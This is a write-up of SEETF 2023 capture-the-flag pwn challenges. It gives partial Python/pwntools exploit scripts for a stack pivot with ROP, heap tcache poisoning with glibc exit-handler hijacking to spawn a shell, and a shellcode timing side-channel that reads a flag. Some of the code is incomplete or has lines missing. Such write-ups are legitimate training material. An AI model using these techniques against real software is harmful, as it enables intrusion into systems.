This weekend I participated in the SEETF 2023 event. The challenges are in good quality (two needs brute force). And I managed to solve a heap binary compiled with gilibc version 2.35 by abusing the exit handler since malloc_hook and free_hook are removed after 2.34.

## Pwn

### great expectation

This challenge is about stack pivot + rop.

The vulnerability is at the input_float function. We can input three floats (4 bytes each, irrespective of a 32-bit or 64-bit machine). The memory saved at `rbp-0x4` is 4 bytes. When we input the second float, the saved memory shifts to `rbp-0x3`, allowing an overflow to the rbp by one bit and thus, two bytes in total.

A check is run to verify if rbp-0x1 is 'A'. So, we need to input a float number that satisfies this condition. Use Python's `struct.unpack('f', b)` to find such a float easily.

``````#define floatbuffer_len 3
#define string_len 0x107

int idx;

void input_floats()
{
char canary = 'A'; // rbp-0x1 byte
char buffer[floatbuffer_len]; // rbp-0x1, rbp-0x2, rbp-0x3

for (idx = 0; idx < floatbuffer_len; idx++)
{
puts("Give me a crazy number!");
scanf("%f", &buffer[idx]);
}

if (canary != 'A')
{
exit(0);
}
}``````

By using the overflow on rbp of input_float function, we can let it points to the place we under control where placing our rop chain. The memory layout looks like the following firgure: However, the problem is that since we don't know any memory address when overflowing occurs, so we need to brute force the last two bytes of stack address, the success chance would be 1/8192.

``````def bytes2float(b):
return struct.unpack('f', b)

def crazy_number(sh, num):
sh.sendlineafter("Give me a crazy number!", str(num).encode())

def try_exploit(sh):
"""
Solution:
1/ float2bytes to overwrite the rbp to points to our rop chain addr - 0x10, then rop to leak libc address
"""

### Stage 1: leak libc address
### Condition: the input tale in main starts at 0xd0d0 1/8192
rop = ROP(binary)

pop_rdi = rop.find_gadget(['pop rdi', 'ret'])  # this might vary based on the binary

rop_glibc_libc = flat(
pop_rdi,
binary.got['puts'],
binary.plt['puts'],
)

rop_glibc_libc = b'A'*0x70 + p64(0xdeadbeef) + rop_glibc_libc

sh.sendlineafter("Tell me an adventurous tale.", rop_glibc_libc)

crazy_number(sh, 0)
crazy_number(sh, 0)
crazy_number(sh, -27951366144.0) # b'\x00\x41\xd0\xd0'

sh.recvline()

try:
except EOFError:
sh.close()
return

log.info("glibc_base: " + hex(glibc_base))

rop2 = ROP(binary)

rop_shell = flat(
pop_rdi,
ret,
)

rop2 = b'A'*0x20 + p64(0xdeadbeef) + rop_shell

sh.sendline(rop2)

crazy_number(sh, 0)
crazy_number(sh, 0)
crazy_number(sh, -8606973952.0) # b'\x00\x41\x00\xd0'

sh.sendline("cat /flag")
sh.recvline()

sh.interactive()

if __name__ == "__main__":
count = 0
while True:
sh = start()
try_exploit(sh)

count += 1
log.info("Tried %d times" % count)`````` ### babySheep

This is a heap challenge compiled with `Ubuntu GLIBC 2.35-0ubuntu3.1` glibc. Due to the absence of `malloc_hook` or `free_hook`, to hijack the control flow, we either need to place the ROP chain or abusing the exit handler, which is a post-2.35 heap exploitation technique has been explained at here and here.

uninitialized variable accessing to UAF

The vulnerability is found by my teammate @Zeynarz and I followed up his work.

There is an uninitialized variable vulnerability in create, update and delete function. Upon viewing the stack memory layout, we could found that:

``````in update:
0x7fffffffe00c = buffer_size
0x7fffffffe010 = ptr

in create:
0x7fffffffe00c = 0x5555
0x7fffffffe010 = footer

in output:
0x7fffffffe00c = buffer_size
0x7fffffffe010 = ptr

in delete:
0x7fffffffe00c = buffer_size
0x7fffffffe010 = ptr``````

However, this vulnerability can also be identified (hardly) by finding variables that can be uninitialized under some condition and then be used in the following code upon the source code level.

So, we could get a UAF by `create(0)->delete(0)->update(-1)/output(-1)`. By abusing this UAF, we could get arbitrary address read and writing through tcache poisoning.

abusing exit handler

In the delete function, we can found that it tries to register the cleanup function to the exit function list which gives us the hint to use the exit handler to get shell.

``````void delete()
{
int idx;
puts("Which text? (0-9)");
scanf("%d", &idx);

if (idx >= 0 && idx <= 9)
{
unsigned int buffer_size = buffer_sizes[idx];
buffer_sizes[idx] = 0;
if (buffer_size != 0)
{
buffer_sizes[idx] = 0;
}

struct text *ptr = texts[idx];
if (ptr != NULL)
{
free(ptr);
texts[idx] = NULL;
atexit(cleanup); // free ALL pointers on exit
}
}
}``````

There is an unpublished symbol `__exit_funcs` in the glibc area that holds a linked list of functions to be executed before the program exits. Its address can be retrieved by tracing the exit function during debugging.

``````void exit (int status)
{
__run_exit_handlers (status, &__exit_funcs, true, true);
}`````` Here is the struct of the list of exit handler function:

``````enum
{
ef_free,  /* `ef_free' MUST be zero!  */
ef_us,
ef_on,
ef_at,
ef_cxa
};

struct exit_function
{
/* `flavour' should be of type of the `enum' above but since we need
this element in an atomic operation we have to use `long int'.  */
long int flavor;
union
{
void (*at) (void);
struct
{
void (*fn) (int status, void *arg);
void *arg;
} on;
struct
{
void (*fn) (void *arg, int status);
void *arg;
void *dso_handle;
} cxa;
} func;
};

struct exit_function_list
{
struct exit_function_list *next;
size_t idx;
struct exit_function fns;
};``````

To hijack the exiting process, we can leverage the cxa struct inside where saves a function pointer and passing argument address. That's said, we can overwrite the one item in the exit_function_list as the following:

``````#############  next | count  | type (cxa) | addr                             | arg               | not used
onexit_fun = p64(0) + p64(1) + p64(4)     + encrypt(libc.sym['system'], key) + p64(binsh_addr) + p64(0)``````

leak the encryption key

The problem is that the function pointer has been encrypted by the following encryption algorithm with `fs:0x30` as the key. To fill the correct encrypted function pointer, we need to leak the key first.

``````# Rotate left: 0b1001 --> 0b0011
rol = lambda val, r_bits, max_bits: \
(val << r_bits%max_bits) & (2**max_bits-1) | \
((val & (2**max_bits-1)) >> (max_bits-(r_bits%max_bits)))

# Rotate right: 0b1001 --> 0b1100
ror = lambda val, r_bits, max_bits: \
((val & (2**max_bits-1)) >> r_bits%max_bits) | \
(val << (max_bits-(r_bits%max_bits)) & (2**max_bits-1))

# encrypt a function pointer
def encrypt(v, key):
return rol(v ^ key, 0x11, 64)``````

Although the `fs:0x30` won't be load to the memory at anytime, it doesn't means that we cannot compute its value. If we know the encryption function ptr as well as the origin function ptr, we can then leak the key's value as they are using xor operation is reversible.

``key = ror(encrypted_func_ptr, 0x11, 64) ^ func_ptr``

This can be done by using our arbitrary address read, as the encrypted cleanup function ptr is saved on the glibc memory with a fixed offset.

get shell

Finally, we can leverage the arbitrary address write to overwrite one exit function on the list and then exit the binary. The overall payload is as follows.

``````sh = start()
count = 0
HEAPBASE = 0
LIBCBASE = 0

def create(size, content):
global count
count += 1
sh.sendlineafter(b"5. [E]xit", b"C")
sh.sendlineafter(b"What size?", str(size).encode())
sh.sendlineafter(b"What content?", content)

return count-1

def output(idx, ignore=False):
sh.sendlineafter(b"5. [E]xit", b"O")
sh.sendlineafter(b"Which text? (0-9)",str(idx).encode())
sh.recv()
return sh.recvuntil(b"1.")[:-2]

def update(idx,content):
sh.sendlineafter(b"5. [E]xit", b"U")
sh.sendlineafter(b"Which text? (0-9)",str(idx).encode())
sh.sendline(content)

def delete(idx):
global count
count -= 1
sh.sendlineafter(b"5. [E]xit", b"D")
sh.sendlineafter(b"Which text? (0-9)",str(idx).encode())

def mangle(pos, ptr):
return p64((pos >> 12) ^ ptr)

def demangle(obfus_ptr):
o2 = (obfus_ptr >> 12) ^ obfus_ptr
return (o2 >> 24) ^ o2

def heap_leak():
create(32,"abcd")
delete(0)

# deobfuscation of the obfuscated pointer (which is just null)
heap_leak = u64(output(-1)[:5].ljust(8,b"\x00"))
heap_base = (heap_leak ^ 0) << 12
log.info(f"leak the heap base: {hex(heap_base)}")

global HEAPBASE
HEAPBASE = heap_base

return heap_base

def glibc_leak():
create(0x500,"abcd")
create(16,"abcd") # prevent consolidation, idx = 1
delete(0)

glibc_base = u64(output(-1)[:6].ljust(8,b"\x00")) - 0x219ce0
log.info(f"leak the glibc base: {hex(glibc_base)}")

## clean it up
create(0x500,"abcd") # make things easier by clearing out all free chunks

global LIBCBASE
LIBCBASE = glibc_base

return glibc_base

"""
addr needs to ends with 0x8
the addr should has rw- permission
"""
idx0 = create(48,"abcd") # 2
idx1 = create(48,"abcd") # 3
idx2 = create(48,"abcd") # 4

delete(idx2)
delete(idx1)
delete(idx0)

idx3 = create(48,"/bin/sh") # 2

idx4 = create(48,"abcd") # 3
idx5 = create(48,b"A"*7) # 4

leak = output(idx5)[0x10:]
log.info(f"LEAK: {leak}")

return leak

delete(0)
delete(1)
delete(2)

create(64,"abcd") # 0
create(64,"abcd") # 1
create(64,"abcd") # 2

delete(2)
delete(1)
delete(0)

create(64,"/bin/sh") # 0

idx4 = create(64,"abcd") # 2
idx5 = create(64,val) # 9

def exploit():
### Step 1: leak the heap base and glibc base
heap_leak()
glibc_leak()

elf_ptr = LIBCBASE + 0x21AF48 # points to elf_base + 0x4008

### Step 3: leak the encrypted key
### through debugging the exit func
### __exit_funcs = 0x00007f4b5dc19838 glibc+0x219838
### __exit_funcs = 0x00007f4b5dc19838 glibc+0x219838
### __exit_funcs = 0x00007f4b5dc1af00 glibc+0x21AF00
### encryped_ptr stores at __exit_funcs + 0xa0 + 0x38
encrypted_cleanup_ptr = LIBCBASE + 0x21AF00 + 0xa0 + 0x38
log.info(f"leak the encrypted cleanup ptr: {hex(encrypted_cleanup)}")

# ### calculate the key
key = ror(encrypted_cleanup, 0x11, 64) ^ cleanup_addr
log.info(f"calculate the key: {hex(key)}")
log.info("sanity check passed!")

# ### Step 4: overwrite the cleanup func with backdoor in exit_function_list

sh.sendline(b'E')
sh.sendline(b'cat /flag')

sh.interactive()

if __name__ == "__main__":
exploit()``````

The exploit process can also be illustrated by the exploitation output: ### SaaS

Can you read the flag by only using 6 bytes shellcode with open/read-allowed seccomp sandbox in place? They provided the source code of the challenge.

``````int main(int argc, char **argv, char **envp)
{
shellcode_mem = mmap((void *) 0x1337000, 0x1000, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE|MAP_ANON, 0, 0);
assert(shellcode_mem == (void *) 0x1337000);

puts("Welcome to the SEETF shellcode sandbox!");
puts("======================================");
puts("You've got 6 bytes, make them count!");
puts("======================================");
fflush(stdout);

assert(shellcode_size > 0);

scmp_filter_ctx ctx;
ctx = seccomp_init(SCMP_ACT_KILL);

assert(seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(open), 0) == 0);

((void(*)())shellcode_mem)();
}``````

Since I didn't responsible for solving this challenge during the game, so I just leave the idea here:

1. Leveraging the first 6 bytes to make a read `syscall` in order to read following payloads from stdin to the assigned memory region.
2. Using the second stage payload to open and read the flag to the memory.
3. Hold the memory address and check one bit of a byte each time. Check the response duration to find out the bit should be 0 or 1. (Looks like a side-channel brute force attack)

Here is the payload from @maxigir.

``````// bruteforce i_byte's i_bit
filename = b'/flag'
filename += b'\x00'*(8-len(filename))
filename = struct.pack('Q',int.from_bytes(filename,'big'))

push rdx
pop rsi
xor edi,edi
syscall
""", arch='x86_64', os='linux')

mov rbx, 0x{filename.hex()}
push rbx
mov rdi, rsp
mov rsi, 0
mov rax, 0x2
syscall

mov rdi, rax
mov rsi, rsp
mov rdx, 0x200
mov rax, 0x0
syscall

mov rax, [rsp+{i_byte}]
and rax, {1<<i_bit}
shr rax, {i_bit}

mov r11, 0x0
imul rax, 0x10000000
loop_start:
cmp rax, r11
je loop_finished
inc r11
imul ebx, 0x13
jmp loop_start

loop_finished:
""", arch='x86_64', os='linux')

def get_bit(i_byte, i_bit):

#conn = process('./chall')
conn = remote('win.the.seetf.sg', 2002)

for _ in range(5):
conn.recvline()

start = datetime.now()
conn.recvall()
duration = (datetime.now()-start).total_seconds()

#print(i_bit,duration)
return duration > 1.5

def get_byte(i_byte):
byte = 0
for i in range(7):
byte += get_bit(i_byte,i) << i
p.status(flag+chr(byte))
#print(flag+chr(byte))
return chr(byte)

context.log_level = 'error'

p = log.progress('Flag',level=logging.ERROR)

flag = ''
for i in range(200):
flag += get_byte(i)``````

### CSTutorial

This challenge is about abusing the file struct in linux.